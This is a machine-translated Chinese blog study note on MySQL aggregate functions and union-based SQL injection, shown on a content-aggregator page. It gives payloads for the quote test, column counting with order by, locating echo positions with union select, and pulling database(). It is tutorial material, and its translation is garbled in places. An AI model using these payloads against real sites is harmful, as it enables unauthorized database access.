当前位置:网站首页>SQL injection -day16
SQL injection -day16
2022-07-03 18:04:00 【kanna_ bush_ t】
3、 ... and 、Mysql Inject
3.2 sentence
- select sum(grade) from users;
- select avg(grade) from users;
- select max(grade) from users;
- select min(grade) from users;
- String data sum,avg by 0,max,min Take by letter size
- The grouping function will automatically ignore NULL
- Mathematical operations If any NULL Participate in , The result is NULL
- Grouping functions cannot appear directly in where Back , as a result of group by Is in where Executed after statement execution
- Grouping functions can be combined
- select 5 Number : Pick out the data that meets the conditions
- from 1 Number : Set the table
- where 2 Number : Filter raw data
- group by 3 Number : Grouping
- having 4 Number : Filter the data again
- order by 6 Number : Sort

Four 、union Joint injection ( The single quotation mark closed character type is taken as an example )
4.1 Injection judgment
?id=1'
?id=1'
4.2 order by Inquire about
?id=1' order by x--+
?id=1' order by x#-> Commonly used %23 Instead of
// among x Which column does the input number represent , Use dichotomy to narrow the scope ,x Then there are two minus signs and plus signs , For comments
4.3 Determine the echo position , Take three columns as an example
?id=-1' union select 1,2,3--+
?id=0' union select 1,2,3--+
?id=1' and 1=2 union select 1,2,3--+
// The front is to deny id=1 Echo of , Prevent others sql Statement only limit 0,1
// In this way, we can't view the information we want

4.4 Echo position injection sql sentence
?id=-1' union select 1,(select database()),3--+
边栏推荐
- MySQL grouping query
- PUT vs. POST for Uploading Files - RESTful API to be Built Using Zend Framework
- STM32 realizes 74HC595 control
- Should I be laid off at the age of 40? IBM is suspected of age discrimination, calling its old employees "dinosaurs" and planning to dismiss, but the employees can't refute it
- Talk about the design and implementation logic of payment process
- STM32实现74HC595控制
- PHP MySQL inserts data
- Research on Swift
- The gbase 8A database does not support the DB2 function value (column_name, 0) cluster syntax
- A. Berland Poker & 1000 [simple mathematical thinking]
猜你喜欢
win32:堆破壞的dump文件分析
Redis core technology and practice - learning notes (IX): slicing cluster
[untitled]
聊聊支付流程的設計與實現邏輯
聊聊支付流程的设计与实现逻辑
PHP MySQL inserts data
[combinatorics] generating function (generating function application scenario | using generating function to solve recursive equation)
Redis core technology and practice - learning notes (VIII) sentinel cluster: sentinel hung up
Discussion sur la logique de conception et de mise en oeuvre du processus de paiement
模块九作业
随机推荐
Prototype inheritance..
MySQL has been stopped in the configuration interface during installation
The second largest gay dating website in the world was exposed, and the status of programmers in 2022
MinGW compile boost library
Leetcode 538 converts binary search tree into cumulative tree -- recursive method and iterative method
Mathematical formula (test)
(9) Opencv Canny edge detection
Image 24 bits de profondeur à 8 bits de profondeur
Interviewer: why is the value nil not equal to nil?
Keepalived setting does not preempt resources
Remote office tools sharing | community essay solicitation
面试官:值为 nil 为什么不等于 nil ?
PHP processing - watermark images (text, etc.)
[tutorial] build your first application on coreos
A. Odd Selection【BruteForce】
Getting started with deops
Graduation summary
Embedded-c language-7
聊聊支付流程的设计与实现逻辑
This diversion